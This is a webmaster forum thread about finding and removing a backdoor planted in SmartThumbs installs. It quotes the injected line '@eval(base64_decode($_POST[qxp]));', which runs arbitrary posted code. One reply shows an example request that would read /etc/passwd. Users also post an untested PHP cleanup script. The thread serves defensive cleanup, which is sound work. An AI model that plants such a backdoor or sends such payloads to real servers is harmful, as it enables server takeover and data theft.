removing ST exploit

[MMarko]

I wrote simple tutorial how to remove ST exploit and check if you're affected with it... because it looks like still many ST installs are infected and are not cleaned. I think update will not clean it... you have to do it manually...

Remove SmartThumbs exploit in 5 steps

[boneless]

i read it and got a small question:

it says if you got the include line and the base64 line then youre still infected.

i only got this one:
@eval(base64_decode($_POST[qxp]));//';

does that mean im not infected, or still infected?

[boneless]

damn just found the other line as well, except it aint including sesa.tmp but webcam.tmp.

should i show the post you made to my sys admin and have them take care of it? or do it myself, as i dont have access to phpmyadmin. my host normally does that type of stuff.

is there any other way besides phpmyadmin to do this?

[MMarko]

you're infected for sure

well... you need something which will allow you to edit entries in mysql tables... so phpmyadmin or anything else capable to edit table values

[k0nr4d]

untested (might not work at all. i dont have ST, and i just wrote it based on the instructions in the blog post). I take no responsibility if it breaks something, use at your own risk.

<?php
$dbserver = '';
$dbuser = ''; 
$dbpass = ''; 
$dbname = ''; 
$dblink = mysql_connect($dbserver,$dbuser,$dbpass);
mysql_select_db($dbname,$dblink);

copy("st/admin/variables.php","tmp/variables.bak"); 
$string = file_get_contents("st/admin/variables.php");
$string = str_replace("@eval(base64_decode($_POST[qxp]));//’;","",$string); 
file_put_contents("st/admin/variables.php",$string);
unlink("/tmp/sesa.tmp");
unlink("/tmp/webcam.tmp");
include('st/admin/variables.php'); 
mysql_query("UPDATE st_settings SET niche = '$niche'");
exit("Done"); 
?>

[grumpy]

untested (might not work at all. i dont have ST, and i just wrote it based on the instructions in the blog post). I take no responsibility if it breaks something, use at your own risk.

<?php
$dbserver = '';
$dbuser = ''; 
$dbpass = ''; 
$dbname = ''; 
$dblink = mysql_connect($dbserver,$dbuser,$dbpass);
mysql_select_db($dbname,$dblink);

copy("st/admin/variables.php","tmp/variables.bak"); 
$string = file_get_contents("st/admin/variables.php");
$string = str_replace("@eval(base64_decode($_POST[qxp]));//?;","",$string); 
file_put_contents("st/admin/variables.php",$string);
unlink("/tmp/sesa.tmp");
unlink("/tmp/webcam.tmp");
include('st/admin/variables.php'); 
mysql_query("UPDATE st_settings SET niche = '$niche'");
exit("Done"); 
?>

$niche is undefined

[k0nr4d]

$niche is undefined

Sure it is, its including the variables.php file before inserting it

[PXN]

nice stuff. Thanks for sharing.

[MMarko]

$dbserver = '';
$dbuser = ''; 
$dbpass = ''; 
$dbname = '';

you should include st/classes/mysql.php before that... and remove those lines completely...

however I'd suggest that you manually take a look at those files so you double check everything and avoid any major fuckup...

[rowan]

i read it and got a small question:

it says if you got the include line and the base64 line then youre still infected.

i only got this one:
@eval(base64_decode($_POST[qxp]));//';

does that mean im not infected, or still infected?

FYI that little bit of code executes whatever is passed in variable 'qxp'

So they could post something like qxp=cat%20/etc/passwd (display the contents of the password file)

[Davy]

@eval(base64_decode($_POST[qxp]));

Holy shit. Who in the right state of mind would add such a code to their product? Yikes!

[CyberHustler]

[LoveSandra]

wtf.......................

[nation-x]

Holy shit. Who in the right state of mind would add such a code to their product? Yikes!

uuuuuhhhhh wut??

[Davy]

uuuuuhhhhh wut??

This thread is about a security exploit. I thought the info above was the security hole.

[u-Bob]

if you box was compromised, there's only 1 thing to do: reinstall everything.

[MMarko]

lol, yes and for every wordpress exploit everyone should reinstall whole box :D

don't be silly

[u-Bob]

lol, yes and for every wordpress exploit everyone should reinstall whole box :D

simple answer: yes.

[Shoplifter]

Bumping this to the top. I think this exploit is not getting the attention it deserves.

We cleaned a number of sites and in some case the exploit was back in 3 hours.

[Tulku]

Bumping ..